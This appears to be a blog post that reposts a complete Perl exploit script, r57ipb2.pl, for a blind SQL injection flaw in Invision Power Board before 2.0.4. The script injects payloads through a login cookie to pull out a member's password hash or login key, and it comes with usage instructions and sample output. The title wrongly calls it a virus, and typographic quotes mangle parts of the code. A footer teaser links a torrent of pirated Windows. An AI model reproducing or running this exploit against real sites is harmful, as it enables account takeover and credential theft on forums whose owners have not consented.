Skip to main content

Virus Code In perl For SQL Injection!!!

          Virus Code In perl For SQL Injection!!! #!/usr/bin/perl## Invision Power Board SQL injection exploit by RST/GHC## vulnerable forum versions : 1.* , 2.* (&lt2.0.4)## tested on version 1.3 Final and version 2.0.2## * work on all mysql versions## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)## (c)oded by 1dt.w0lf## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~## screen:## ~~~~~~~## r57ipb2.pl blah.com /ipb13/ 1 0## [~]    SERVER : blah.com## [~]      PATH : /ipb13/## [~] MEMBER ID : 1## [~]    TARGET : 0 – IPB 1.*## [~] SEARCHING PASSWORD … [ DONE ]#### MEMBER ID : 1## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99#### r57ipb2.pl blah.com  /ipb202/ 1 1## [~]    SERVER : blah.com## [~]      PATH : /ipb202/## [~] MEMBER ID : 1## [~]    TARGET : 1 – IPB 2.*## [~] SEARCHING PASSWORD … [ DONE ]#### MEMBER ID : 1## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~## Greets: James Bercegay of the GulfTech Security Research Team## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~use IO::Socket;if (@ARGV &lt 4) { &usage; }$server    = $ARGV[0];$path      = $ARGV[1];$member_id = $ARGV[2];$target    = $ARGV[3];$pass = ($target)?(‘member_login_key’):(‘password’);$server =~ s!(http:\/\/)!!;$request  = ‘http://’;$request .= $server;$request .= $path;$s_num = 1;$|++;$n = 0;print “[~]    SERVER : $server\r\n”;print “[~]      PATH : $path\r\n”;print “[~] MEMBER ID : $member_id\r\n”;print “[~]    TARGET : $target”;print (($target)?(‘ – IPB 2.*’):(‘ – IPB 1.*’));print “\r\n”;print “[~] SEARCHING PASSWORD … [|]“;($cmember_id = $member_id) =~ s/(.)/”%”.uc(sprintf(“%2.2x”,ord($1)))/eg;while(1){if(&found(47,58)==0) { &found(96,122); }$char = $i;if ($char==”0)
{if(length($allchar) &gt 0){print qq{\b\b DONE ]MEMBER ID : $member_id};print (($target)?(‘MEMBER_LOGIN_KEY : ‘):(‘PASSWORD : ‘));print $allchar.”\r\n”;}else{print “\b\b FAILED ]”;}exit();}else{$allchar .= chr(42);}$s_num++;}sub found($$){my $fmin = $_[0];my $fmax = $_[1];if (($fmax-$fmin)&lt5) { $i=crack($fmin,$fmax); return $i; }$r = int($fmax – ($fmax-$fmin)/2);$check = ” BETWEEN $r AND $fmax”;if ( &check($check) ) { &found($r,$fmax); }else { &found($fmin,$r); }}sub crack($$){my $cmin = $_[0];my $cmax = $_[1];$i = $cmin;while ($i&lt$cmax){$crcheck = “=$i”;if ( &check($crcheck) ) { return $i; }$i++;}$i = 0;return $i;}sub check($){$n++;status();$ccheck = $_[0];$pass_hash1 = “%36%36%36%2527%20%4F%52%20%28%69%64%3D”;$pass_hash2 = “%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28;
$pass_hash3 = $pass.”,”.$s_num.”,1))”.$ccheck.”) /*”;$pass_hash3 =~ s/(.)/”%”.uc(sprintf(“%2.2x”,ord($1)))/eg;$nmalykh    = “%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20;
$socket = IO::Socket::INET-&gtnew( Proto =&gt “tcp”, PeerAddr =&gt “$server”, PeerPort =&gt “80);
printf $socket (“GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n”,$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);while(&lt$socket&gt){if (/Set-Cookie: session_id=0;/) { return 1; }}return 0;}sub status(){$status = $n % 5;if($status==0){ print “\b\b/]”;  }if($status==1){ print “\b\b-]”;  }if($status==2){ print “\b\b\\]”; }if($status==3){ print “\b\b|]”;  }}sub usage(){print q(Invision Power Board v &lt 2.0.4 SQL injection exploit—————————————————-USAGE:~~~~~~r57ipb2.pl [server] [/folder/] [member_id] [target][server]    – host where IPB installed[/folder/]  – folder where IPB installed[member_id] – user id for brutetargets:0 – IPB 1.*1 – IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1—————————————————-(c)oded by 1dt.w0lfRST/GHC , http://rst.void.ru , http://ghc.ru);exit();}
x

Comments

Popular posts from this blog

Google Tricks, Tips And Hacks 2017 (Best 36+)

Google Tricks, Tips And Hacks 2017 (Best 36+) Google has rather become the face of the internet. While it was just a search engine back in the day, Google has grown a lot. This is because Google owns popular services like gmail, YouTube and also the most popular mobile OS which is Android. Therefore, anyone cannot use the internet without Google.                                                                                                                                                                                         ...

How to Make a Bootable USB Flash Drive (Windows 8, 8.1 or LINUX)

How to Make a Bootable USB Flash Drive  (Windows 8 , 8.1 or LINUX)  USING UNIVERSAL USB Installer    Universal USB Installer is a Live Linux or Windows USB Creator that allows you to choose from a selection of Linux Distributions or Windows to put on your USB Flash Drive. The Universal USB Installer is easy to use, simply choose a Live Linux Distribution or Windows file , the ISO file, your Flash Drive and, Click Install. DOWNLOAD LINKS: 1. UNIVERSAL USB installer :http://filehippo.com/download_universal-usb-installer/ 2. Windows 8.1 downlaod link :  3. Torrent link  : http://1337x.to/torrent/1049293/Windows_8-1_Pro_X64_Activated/ 4. Official Microsoft link :  https://www.microsoft.com/en-us/software-download/windows8ISO #STEPS: 1. All you need for this method is an .iso windows vista, 7 or 8 image file (xp not supported) and the Universal-USB-Installer-1.9.4.0 application. This application was purpose built for l...